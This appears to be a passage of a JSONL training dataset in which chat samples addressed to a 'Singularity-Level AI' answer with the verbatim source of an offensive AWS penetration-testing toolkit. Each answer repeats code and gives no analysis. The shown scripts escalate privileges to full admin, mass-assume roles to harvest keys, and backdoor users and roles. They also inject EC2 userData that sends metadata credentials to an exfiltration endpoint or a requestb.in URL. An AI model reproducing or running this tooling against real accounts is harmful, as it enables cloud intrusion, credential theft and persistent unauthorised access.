Singularity-250-Dataset / data /AWS_PWN.jsonl
Arif571's picture
Singularity Update: 1770272391
84dc5f5 verified
Raw History Blame Contribute Delete
70 kB
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: README.md\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n# AWS pwn\n\n## Summary\n\nThis is a collection of horribly written scripts for performing various tasks related to penetration testing AWS. Please don't be sad if it doesn't work for you. It might be that AWS has changed since a given tool was written or it might be that the code sux. Either way, please feel free to contribute.\n\nMost of this junk was written by Daniel Grzelak but there's been plenty of contributions, most notably Mike Fuller.\n\n## Requirements\n\n```\npip install -r requirements.txt\n```\n\nMake sure to also [set up your aws credentials](https://github.com/boto/boto3#quick-start) in `~/.aws/credentials`.\n\n## Reconnaissance\n\nThings to do with pre-compromise information gathering.\n\n* validate_iam_access_keys.py - Given a TSV file of access key + secret [+ session] combinations, checks access validity and returns identity information of the principal.\n```\n./validate_iam_access_keys.py -i /tmp/keys.txt -o /tmp/out.json\n```\n* validate_s3_buckets.py - Given a text file with one word per line, checks whether the buckets exist and returns basic identifying information.\n```\n./validate_s3_buckets.py -i /tmp/words.txt -o /tmp/out.json\n```\n* validate_iam_principals.py - Given a text file of principals (e.g. user/admin, role/deploy), checks whether the principals exist in a given account. \n```\n./validate_iam_principals.py -a 123456789012 -i /tmp/words.txt -o /tmp/out.json\n```\n* validate_accounts.py - Given a text file of account ids and account aliases, checks whether the accounts exist.\n```\n./validate_accounts.py -i /tmp/accounts.txt -o /tmp/out.json\n```\n\n## Exploitation\n\nThings that will help you gain a foothold in an account.\n\n## Stealth\n\nThings that might help you stay hidden after compromising an account.\n\n* disrupt_cloudtrail.py - Attempts to disrupt/cripple cloudtrail logging in the specified way.\n```\n./disrupt_cloudtrail.py -s\n```\n\n## Exploration\n\nThings to help you understand what you've pwned.\n\n* dump_account_data.sh - Calls a bunch of generic account-based read/list/get/describe functions and saves the data to a given location. Very noisy but great for a point in time snapshot.\n```\n./dump_account_data.sh /tmp/\n```\n\n## Elevation\n\nThings to help you move around an account and gather different levels of access.\n\n* dump_instance_attributes.py - Goes through every EC2 instance in the account and retrieves the specified instance attributes. Most commonly used to retrieve userData, which tends to contain secrets.\n```\n./dump_instance_attributes.py -u -o /tmp/\n```\n* dump_cloudformation_stack_descriptions.py - Retrieves the stack descriptions for every existing stack and every stack deleted in the last 90 days. Parameters in stack descriptions often contain passwords and other secrets.\n```\n./dump_cloudformation_stack_descriptions.py -o /tmp/data\n```\n* assume_roles.py - Attempts to assume all roles (ARNs) in a file or provided by the list-roles API.\n```\n./assume_roles.py -o /tmp/out.json\n```\n* add_iam_policy - Adds the administrator and all action policy to a given user, role, or group. Requires IAM putPolicy or attachPolicy privileges.\n```\n./add_iam_policy.py -u myuser -r myrole -g mygroup\n```\n* bouncy_bouncy_cloudy_cloud - Bounces a given ec2 instance and rewrites its userData so that you can run arbirtary code or steal temporary instance profile credentials.\n```\n./bouncy_bouncy_cloudy_cloud.py -i instance-id -e exfiltration-endpoint\n```\n\n## Persistence\n\nThings to help maintain your access to an acccount.\n\n* rabbit_lambda - An example Lambda function that responds to user delete events by creating more copies of the deleted user.\n* cli_lambda - A lambda function that acts as an aws cli proxy and doesnt require credentials.\n* backdoor_created_users_lambda - A lambda function that adds an access key to each newly created user.\n* backdoor_created_roles_lambda - A lambda function that adds a trust relationship to each newly created role.\n* backdoor_created_security_groups_lambda - A lambda function that adds a given inbound access rule to each newly created security group.\n* backdoor_all_users.py - Adds an access key to every user in the account.\n* backdoor_all_roles.py - Adds a trust relationship to each role in the account. Requires editing the file to set the role ARN.\n* backdoor_all_security_groups.py - Adds a given inbound access rule to each security group in the account. Requires editing the file to set the rule.\n\n## Exfiltration\n\nThings to help you extract and move data around in AWSy ways.\n\n* dynamodump - https://github.com/bchew/dynamodump\n\n\n## Miscellanea\n\nOther things that I was either to stupid or too lazy to classify.\n\n* reserved_words.txt - A list of words/tokens that have some special meaning in AWS or are likely to soon have some special meaning.\n* endpoints.txt - A somewhat up to date list of API endpoints exposed by AWS.\n* integrations.txt - A TSV of services that integrate with AWS via roles or access keys and their account ids, default usernames etc.\n* download_docs.sh - The command line to wget all the AWS docs because I'm stupid and waste time redoing it every time.\n\n## To do\n\n* Add passwords to users for persistence\n* Dump stack resources\n* Validate mfa\n* Add more calls to dump_account_data\n* Add more log disruption methods\n* Create a cloudtrail parsing script for grabbing goodies out of cloudtrail\n* Create an s3 bucket permission enumerator\n* Create tool to grab aws credentials from common places on disk\n* Create cloning tool\n* Create silly privelege escalation tool that uses passrole\n* Validate queues\n* Validate notification topics\n* Fix up persistence scripts to use arguments instead of constants inside the scripts\n\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: elevation/add_iam_policy.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport boto3\nfrom botocore.exceptions import ClientError\nimport json\nimport argparse\nimport time\nimport random\nimport uuid\n\n\nALL_POLICY = '''{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Sid\": \"Stmt''' + str(random.randint(100000, 999999)) +'''\",\n \"Effect\": \"Allow\",\n \"Action\": \"*\",\n \"Resource\": \"*\"\n }\n ]\n}\n'''\n\n\ndef main(args):\n if args.user_name:\n attach_policy(args.user_name, 'UserName')\n put_policy(args.user_name, 'UserName')\n elif args.role_name:\n attach_policy(args.role_name, 'RoleName')\n put_policy(args.role_name, 'RoleName')\n elif args.group_name:\n attach_policy(args.group_name, 'GroupName')\n put_policy(args.group_name, 'GroupName')\n else:\n print('No user, role, or group specified. Quitting.')\n\n\ndef attach_policy(principal, principal_name):\n result = False\n client = boto3.client('iam')\n attach_policy_funcs = {\n 'UserName': client.attach_user_policy,\n 'RoleName': client.attach_role_policy,\n 'GroupName': client.attach_group_policy\n }\n attach_policy_func = attach_policy_funcs[principal_name]\n try:\n response = attach_policy_func(**{\n principal_name: principal,\n 'PolicyArn': 'arn:aws:iam::aws:policy/AdministratorAccess'\n }\n )\n result = True\n print('AdministratorAccess policy attached successfully to ' + principal)\n except ClientError as e:\n print(e.response['Error']['Message'])\n return result \n\n\ndef put_policy(principal, principal_name):\n result = False\n client = boto3.client('iam')\n put_policy_funcs = {\n 'UserName': client.put_user_policy,\n 'RoleName': client.put_role_policy,\n 'GroupName': client.put_group_policy\n }\n put_policy_func = put_policy_funcs[principal_name]\n try:\n response = put_policy_func(**{\n principal_name: principal,\n 'PolicyName': str(uuid.uuid4()),\n 'PolicyDocument': ALL_POLICY\n }\n )\n result = True\n print('All action policy attached successfully to ' + principal)\n except ClientError as e:\n print(e.response['Error']['Message'])\n return result \n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Attempts to add an admin and all actions policy to the given role, user, or group.\")\n parser.add_argument('-u',\n '--user-name')\n parser.add_argument('-r',\n '--role-name')\n parser.add_argument('-g',\n '--group-name')\n args = parser.parse_args()\n main(args)\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: elevation/assume_roles.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport boto3\nfrom botocore.exceptions import ClientError\nimport json\nimport argparse\nimport uuid\n\n\ndef main(args):\n all_results = []\n \n if(args.input_file is not None):\n for line in args.input_file.readlines():\n line = line.strip()\n if(line and not line.startswith('#')):\n result = attempt_assume_role(line)\n all_results.append(result)\n if result['result'] == 'success':\n print(json.dumps(result, indent=2))\n args.input_file.close()\n else:\n role_arns = get_role_arns()\n for role_arn in role_arns: \n result = attempt_assume_role(role_arn)\n all_results.append(result)\n if result['result'] == 'success':\n print(json.dumps(result, indent=2))\n\n\n if(args.output_file is not None):\n args.output_file.write(json.dumps(all_results, indent=2))\n args.output_file.close()\n\n\ndef get_role_arns():\n client = boto3.client('iam')\n response = None\n role_arns = []\n marker = None\n \n try:\n # By default, only 100 roles are returned at a time.\n # 'Marker' is used for pagination.\n while (response is None or response['IsTruncated']):\n # Marker is only accepted if result was truncated.\n if marker is None:\n response = client.list_roles()\n else:\n response = client.list_roles(Marker=marker) \n\n roles = response['Roles']\n for role in roles:\n role_arns.append(role['Arn'])\n\n if response['IsTruncated']:\n marker = response['Marker']\n except ClientError as e:\n print(e.response['Error']['Message'])\n\n return role_arns\n\n\ndef get_inline_role_policies(role_name):\n client = boto3.client('iam')\n response = None\n role_policy_names = []\n marker = None\n \n try:\n # By default, only 100 roles are returned at a time.\n # 'Marker' is used for pagination.\n while (response is None or response['IsTruncated']):\n # Marker is only accepted if result was truncated.\n if marker is None:\n response = client.list_role_policies(RoleName=role_name)\n else:\n response = client.list_role_policies(RoleName=role_name, Marker=marker) \n\n role_policies = response['PolicyNames']\n for role_policy in role_policies:\n role_policy_names.append(role_policy)\n\n if response['IsTruncated']:\n marker = response['Marker']\n except ClientError as e:\n pass\n\n return role_policy_names \n\n\ndef get_managed_role_policies(role_name):\n client = boto3.client('iam')\n response = None\n role_policy_names = []\n marker = None\n \n try:\n # By default, only 100 roles are returned at a time.\n # 'Marker' is used for pagination.\n while (response is None or response['IsTruncated']):\n # Marker is only accepted if result was truncated.\n if marker is None:\n response = client.list_attached_role_policies(RoleName=role_name)\n else:\n response = client.list_attached_role_policies(RoleName=role_name, Marker=marker) \n\n role_policies = response['AttachedPolicies']\n for role_policy in role_policies:\n role_policy_names.append(role_policy['PolicyName'])\n\n if response['IsTruncated']:\n marker = response['Marker']\n except ClientError as e:\n pass\n\n return role_policy_names \n\n\ndef attempt_assume_role(role_arn):\n result = {\n \"arn\": role_arn,\n \"roleName\": role_arn.split(':')[-1].split('/')[-1],\n \"result\": 'failure',\n \"roleId\": None,\n \"accessKeyId\": None,\n \"secretAccessKey\": None,\n \"sessionToken\": None,\n \"error\": None,\n \"rolePolicies\": []\n }\n\n client = boto3.client('sts')\n\n try:\n response = client.assume_role(\n RoleArn=role_arn,\n RoleSessionName=str(uuid.uuid4())\n )\n result['result'] = 'success'\n result['roleId'] = response['AssumedRoleUser']['AssumedRoleId']\n result['accessKeyId'] = response['Credentials']['AccessKeyId']\n result['secretAccessKey'] = response['Credentials']['SecretAccessKey']\n result['sessionToken'] = response['Credentials']['SessionToken']\n inline_policies = get_inline_role_policies(result['roleName'])\n managed_policies = get_managed_role_policies(result['roleName'])\n result['rolePolicies'] = inline_policies + managed_policies\n except ClientError as e:\n result['error'] = e.response['Error']['Message'] \n \n return result\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Attemps to assume all roles in a file or returned by list-roles API.\")\n parser.add_argument('-i',\n '--input-file',\n type=argparse.FileType('r'))\n parser.add_argument('-o',\n '--output-file',\n type=argparse.FileType('w'))\n args = parser.parse_args()\n main(args)\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: elevation/bouncy_bouncy_cloudy_cloud.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport boto3\nfrom botocore.exceptions import ClientError\nimport json\nimport argparse\nimport time\n\n\ndef main(args):\n result = stop_instance(args.instance_id)\n if result:\n update_userdata(args.instance_id, prepare_user_data())\n start_instance(args.instance_id)\n else:\n print('Failed to stop instance, quitting.')\n\n\ndef stop_instance(instance_id):\n print('Stopping instance.')\n client = boto3.client('ec2')\n result = False\n \n try:\n response = client.stop_instances(\n InstanceIds=[instance_id]\n )\n result = True\n except ClientError as e:\n print(e.response['Error']['Message'])\n\n return result\n \n\ndef start_instance(instance_id):\n print('Starting instance.')\n client = boto3.client('ec2')\n result = False\n \n try:\n response = client.start_instances(\n InstanceIds=[instance_id]\n )\n result = True\n except ClientError as e:\n print(e.response['Error']['Message'])\n\n return result\n\n\ndef prepare_user_data():\n userData = \"#cloud-boothook\\n\"\n if args.exfiltration_endpoint:\n userData += '''#!/bin/bash\nprofile=`curl http://169.254.169.254/latest/meta-data/iam/security-credentials/`\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/${profile} > /tmp/garbage\ngarbage=`base64 -w 0 /tmp/garbage`\ncurl -X POST -d \"garbage=${garbage}\" ''' + args.exfiltration_endpoint\n elif args.code_file:\n userData += args.code_file.read()\n\n return userData\n\n\ndef update_userdata(instance_id, user_data):\n print('Setting userData.')\n client = boto3.client('ec2')\n result = False\n code = 'IncorrectInstanceState'\n \n while(code == 'IncorrectInstanceState' and not result):\n try:\n response = client.modify_instance_attribute(\n InstanceId=instance_id,\n UserData={\n 'Value': user_data\n }\n )\n result = True\n except ClientError as e:\n code = e.response['Error']['Code']\n if code != 'IncorrectInstanceState':\n print(e.response['Error']['Message'])\n time.sleep(20)\n return result\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Attempts to jack credentials from an ec2 instance or run a shell script of your choice.\")\n parser.add_argument('-i',\n '--instance-id',\n required=True)\n parser.add_argument('-e',\n '--exfiltration-endpoint',\n required=False)\n parser.add_argument('-c',\n '--code-file',\n type=argparse.FileType('r'),\n required=False)\n args = parser.parse_args()\n main(args)\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: elevation/dump_cloudformation_stack_descriptions.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport boto3\nfrom botocore.exceptions import ClientError\nimport json\nimport base64\nimport argparse\nimport os\nfrom datetime import datetime\n\n\ndef main(args):\n client = boto3.client('cloudformation')\n response = None\n next_token = None\n stacks = []\n \n try:\n while (response is None or 'NextToken' in response):\n if next_token is None:\n response = client.list_stacks()\n else:\n response = client.list_stacks(NextToken=next_token) \n stacks += response['StackSummaries']\n if 'NextToken' in response:\n next_token = response['NextToken']\n except ClientError as e:\n print(e.response['Error']['Message']) \n\n for stack in stacks:\n process_stack(stack['StackName'], stack['StackId'])\n \n \ndef process_stack(stack_name, stack_id):\n client = boto3.client('cloudformation')\n response = None\n try:\n response = client.describe_stacks(StackName=stack_id)\n except ClientError as e:\n print(e.response['Error']['Message']) \n\n if response:\n if 'ResponseMetadata' in response:\n del response['ResponseMetadata']\n stack_description = json.dumps(response, indent=2, default=json_serial)\n print(stack_description)\n with open(os.path.join(args.output_path, stack_name + '-' + stack_id.split('/')[-1] + '.json'), 'w') as stack_description_data_file:\n stack_description_data_file.write(stack_description) \n\n\ndef json_serial(obj):\n \"\"\"JSON serializer for objects not serializable by default json code\"\"\"\n if isinstance(obj, datetime):\n serial = obj.isoformat()\n return serial\n raise TypeError (\"Type not serializable\")\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Dumps userData for all EC2 instances.\")\n parser.add_argument('-o',\n '--output-path',\n default=os.path.curdir)\n\n args = parser.parse_args()\n main(args)\n\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: elevation/dump_instance_attributes.py\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/usr/bin/env python\nfrom __future__ import print_function\nimport boto3\nfrom botocore.exceptions import ClientError\nimport json\nimport base64\nimport argparse\nimport os\nfrom datetime import datetime\n\n\nREGIONS = [\n 'ap-northeast-2',\n 'ap-northeast-1',\n 'ap-south-1',\n 'ap-southeast-1',\n 'ap-southeast-2',\n 'cn-north-1',\n 'eu-central-1',\n 'eu-west-1',\n 'sa-east-1',\n 'us-east-1',\n 'us-east-2',\n 'us-west-1',\n 'us-west-2',\n 'us-gov-west-1'\n]\n\n\ndef main(args):\n if args.attributes:\n for region in REGIONS:\n process_region(region)\n\n\ndef process_region(region_name):\n region_path = os.path.join(args.output_path, region_name)\n if not os.path.exists(region_path):\n os.makedirs(region_path)\n\n ec2 = boto3.resource(service_name='ec2', region_name=region_name)\n for instance in ec2.instances.all():\n process_instance(instance, region_path)\n\n\ndef process_instance(instance, region_path):\n for attribute in args.attributes:\n response = None\n try:\n response = instance.describe_attribute(Attribute=attribute)\n except ClientError as e:\n print(e.response['Error']['Message'])\n with open(os.path.join(region_path, instance.instance_id + '_' + attribute + '.error'), 'w') as attribute_error_file:\n attribute_error_file.write(e.response['Error']['Message']) \n \n if response:\n # Decode userData because it's base64 encoded\n if attribute == 'userData' and 'UserData' in response and 'Value' in response['UserData']:\n response['UserData']['Value'] = base64.b64decode(response['UserData']['Value'])\n if 'ResponseMetadata' in response:\n del response['ResponseMetadata']\n attribute_data = json.dumps(response, indent=2, default=json_serial)\n print(attribute_data)\n with open(os.path.join(region_path, instance.instance_id + '_' + attribute + '.json'), 'w') as attribute_data_file:\n attribute_data_file.write(attribute_data) \n\n\ndef json_serial(obj):\n \"\"\"JSON serializer for objects not serializable by default json code\"\"\"\n if isinstance(obj, datetime):\n serial = obj.isoformat()\n return serial\n raise TypeError (\"Type not serializable\")\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"Dumps userData for all EC2 instances.\")\n parser.add_argument('-o',\n '--output-path',\n default=os.path.curdir)\n parser.add_argument('-b',\n '--block-device-mapping',\n dest='attributes', \n action='append_const', \n const='blockDeviceMapping')\n parser.add_argument('-d',\n '--disable-api-termination',\n dest='attributes', \n action='append_const', \n const='disableApiTermination')\n parser.add_argument('-e',\n '--ebs-optimized',\n dest='attributes', \n action='append_const', \n const='ebsOptimized')\n parser.add_argument('-f',\n '--ena-support',\n dest='attributes', \n action='append_const', \n const='enaSupport')\n parser.add_argument('-g',\n '--group-set',\n dest='attributes', \n action='append_const', \n const='groupSet')\n parser.add_argument('-i',\n '--instance-initiated-shutdown-behavior',\n dest='attributes', \n action='append_const', \n const='instanceInitiatedShutdownBehavior')\n parser.add_argument('-j',\n '--instance-type',\n dest='attributes', \n action='append_const', \n const='instanceType')\n parser.add_argument('-k',\n '--kernel',\n dest='attributes', \n action='append_const', \n const='kernel')\n parser.add_argument('-p',\n '--product-codes',\n dest='attributes', \n action='append_const', \n const='productCodes')\n parser.add_argument('-r',\n '--ramdisk',\n dest='attributes', \n action='append_const', \n const='ramdisk')\n parser.add_argument('-s',\n '--root-device-name',\n dest='attributes', \n action='append_const', \n const='rootDeviceName')\n parser.add_argument('-t',\n '--source-dest-check',\n dest='attributes', \n action='append_const', \n const='sourceDestCheck')\n parser.add_argument('-v',\n '--sriov-net-support',\n dest='attributes', \n action='append_const', \n const='sriovNetSupport')\n parser.add_argument('-u',\n '--user-data',\n dest='attributes', \n action='append_const', \n const='userData')\n args = parser.parse_args()\n main(args)\n\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: elevation/send_meta_data_credentials.sh\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/bin/bash\ninstance_profile=`curl http://169.254.169.254/latest/meta-data/iam/security-credentials/`\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/${instance_profile} > /tmp/garbage\ngarbage=`base64 -w 0 /tmp/garbage`\n#curl -X POST -d \"garbage=${garbage}\" http://requestb.in/REQUESTIBINID\n<|im_end|>"}
{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'AWS_PWN' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: exploration/dump_account_data.sh\n<|im_end|>\n<|im_start|>assistant\nREPO: AWS_PWN\nCODE:\n#!/bin/sh\nif [ $# -eq 0 ]\n then\n mkdir account-data\n cd account-data\nelse\n mkdir $1\n cd $1\nfi\n\n# https://docs.aws.amazon.com/cli/latest/reference/iam/index.html\n###\n# https://docs.aws.amazon.com/cli/latest/reference/iam/get-account-authorization-details.html\naws iam get-account-authorization-details > iam-get-account-authorization-details.json\n# https://docs.aws.amazon.com/cli/latest/reference/iam/get-account-password-policy.html\naws iam get-account-password-policy > iam-get-account-password-policy.json\n# https://docs.aws.amazon.com/cli/latest/reference/iam/get-account-summary.html\naws iam get-account-summary > iam-get-account-summary.json\n# https://docs.aws.amazon.com/cli/latest/reference/iam/list-account-aliases.html\naws iam list-account-aliases > iam-list-account-aliases.json\n# https://docs.aws.amazon.com/cli/latest/reference/iam/list-groups.html\naws iam list-groups > iam-list-groups.json\n# https://docs.aws.amazon.com/cli/latest/reference/iam/list-instance-profiles.html\naws iam list-instance-profiles > iam-list-instance-profiles.json\n# https://docs.aws.amazon.com/cli/latest/reference/iam/list-open-id-connect-providers.html\naws iam list-open-id-connect-providers > iam-list-open-id-connect-providers.json\n# https://docs.aws.amazon.com/cli/latest/reference/iam/list-policies.html\naws iam list-policies > iam-list-policies.json\n# https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html\naws iam list-roles > iam-list-roles.json\n# https://docs.aws.amazon.com/cli/latest/reference/iam/list-saml-providers.html\naws iam list-saml-providers > iam-list-saml-providers.json\n# https://docs.aws.amazon.com/cli/latest/reference/iam/list-server-certificates.html\naws iam list-server-certificates > iam-list-server-certificates.json\n# https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html\naws iam list-users > iam-list-users.json\n# https://docs.aws.amazon.com/cli/latest/reference/iam/list-virtual-mfa-devices.html\naws iam list-virtual-mfa-devices > iam-list-virtual-mfa-devices.json\n# https://docs.aws.amazon.com/cli/latest/reference/iam/get-credential-report.html\naws iam get-credential-report > iam-get-credential-report.json\n\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/index.html\n###\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-account-attributes.html\naws ec2 describe-account-attributes > ec2-describe-account-attributes.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-addresses.html\naws ec2 describe-addresses > ec2-describe-addresses.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-bundle-tasks.html\naws ec2 describe-bundle-tasks > ec2-describe-bundle-tasks.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-classic-link-instances.html\naws ec2 describe-classic-link-instances > ec2-describe-classic-link-instances.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-conversion-tasks.html\naws ec2 describe-conversion-tasks > ec2-describe-conversion-tasks.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-customer-gateways.html\naws ec2 describe-customer-gateways > ec2-describe-customer-gateways.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-dhcp-options.html\naws ec2 describe-dhcp-options > ec2-describe-dhcp-options.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-export-tasks.html\naws ec2 describe-export-tasks > ec2-describe-export-tasks.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-flow-logs.html\naws ec2 describe-flow-logs > ec2-describe-flow-logs.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-host-reservations.html\naws ec2 describe-host-reservations > ec2-describe-host-reservations.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-hosts.html\naws ec2 describe-hosts > ec2-describe-hosts.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-images.html\naws ec2 describe-images > ec2-describe-images.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-import-image-tasks.html\naws ec2 describe-import-image-tasks > ec2-describe-import-image-tasks.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-import-snapshot-tasks.html\naws ec2 describe-import-snapshot-tasks > ec2-describe-import-snapshot-tasks.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-instance-status.html\naws ec2 describe-instance-status > ec2-describe-instance-status.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-instances.html\naws ec2 describe-instances > ec2-describe-instances.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-internet-gateways.html\naws ec2 describe-internet-gateways > ec2-describe-internet-gateways.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-key-pairs.html\naws ec2 describe-key-pairs > ec2-describe-key-pairs.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-moving-addresses.html\naws ec2 describe-moving-addresses > ec2-describe-moving-addresses.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-nat-gateways.html\naws ec2 describe-nat-gateways > ec2-describe-nat-gateways.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-network-acls.html\naws ec2 describe-network-acls > ec2-describe-network-acls.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-network-interfaces.html\naws ec2 describe-network-interfaces > ec2-describe-network-interfaces.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-placement-groups.html\naws ec2 describe-placement-groups > ec2-describe-placement-groups.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-reserved-instances.html\naws ec2 describe-reserved-instances > ec2-describe-reserved-instances.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-reserved-instances-listings.html\naws ec2 describe-reserved-instances-listings > ec2-describe-reserved-instances-listings.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-reserved-instances-modifications.html\naws ec2 describe-reserved-instances-modifications > ec2-describe-reserved-instances-modifications.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-route-tables.html\naws ec2 describe-route-tables > ec2-describe-route-tables.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-scheduled-instances.html\naws ec2 describe-scheduled-instances > ec2-describe-scheduled-instances.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-security-groups.html\naws ec2 describe-security-groups > ec2-describe-security-groups.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-snapshots.html\naws ec2 describe-snapshots > ec2-describe-snapshots.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-spot-datafeed-subscription.html\naws ec2 describe-spot-datafeed-subscription > ec2-describe-spot-datafeed-subscription.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-spot-fleet-requests.html\naws ec2 describe-spot-fleet-requests > ec2-describe-spot-fleet-requests.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-spot-instance-requests.html\naws ec2 describe-spot-instance-requests > ec2-describe-spot-instance-requests.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-subnets.html\naws ec2 describe-subnets > ec2-describe-subnets.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-tags.html\naws ec2 describe-tags > ec2-describe-tags.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-volume-status.html\naws ec2 describe-volume-status > ec2-describe-volume-status.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-volumes.html\naws ec2 describe-volumes > ec2-describe-volumes.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-vpc-classic-link.html\naws ec2 describe-vpc-classic-link > ec2-describe-vpc-classic-link.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-vpc-classic-link-dns-support.html\naws ec2 describe-vpc-classic-link-dns-support > ec2-describe-vpc-classic-link-dns-support.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-vpc-endpoints.html\naws ec2 describe-vpc-endpoints > ec2-describe-vpc-endpoints.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-vpc-peering-connections.html\naws ec2 describe-vpc-peering-connections > ec2-describe-vpc-peering-connections.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-vpcs.html\naws ec2 describe-vpcs > ec2-describe-vpcs.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-vpn-connections.html\naws ec2 describe-vpn-connections > ec2-describe-vpn-connections.json\n# https://docs.aws.amazon.com/cli/latest/reference/ec2/describe-vpn-gateways.html\naws ec2 describe-vpn-gateways > ec2-describe-vpn-gateways.json\n\n# https://docs.aws.amazon.com/cli/latest/reference/s3/ls.html\naws s3 ls > s3-list-buckets.txt\n\n# https://docs.aws.amazon.com/cli/latest/reference/support/index.html\n###\n# https://docs.aws.amazon.com/cli/latest/reference/support/describe-cases.html\naws support describe-cases --include-resolved-cases > support-describe-cases.json\n\n# https://docs.aws.amazon.com/cli/latest/reference/directconnect/index.html\n###\n# https://docs.aws.amazon.com/cli/latest/reference/directconnect/describe-connections.html\naws directconnect describe-connections > directconnect-describe-connections.json\n# https://docs.aws.amazon.com/cli/latest/reference/directconnect/describe-interconnects.html\naws directconnect describe-interconnects > directconnect-describe-interconnects.json\n# https://docs.aws.amazon.com/cli/latest/reference/directconnect/describe-virtual-gateways.html\naws directconnect describe-virtual-gateways > directconnect-describe-virtual-gateways.json\n# https://docs.aws.amazon.com/cli/latest/reference/directconnect/describe-virtual-interfaces.html\naws directconnect describe-virtual-interfaces > directconnect-describe-virtual-interfaces.json\n\n# https://docs.aws.amazon.com/cli/latest/reference/cloudtrail/index.html\n###\n# https://docs.aws.amazon.com/cli/latest/reference/cloudtrail/describe-trails.html\naws cloudtrail describe-trails > cloudtrail-describe-trails.json\n# 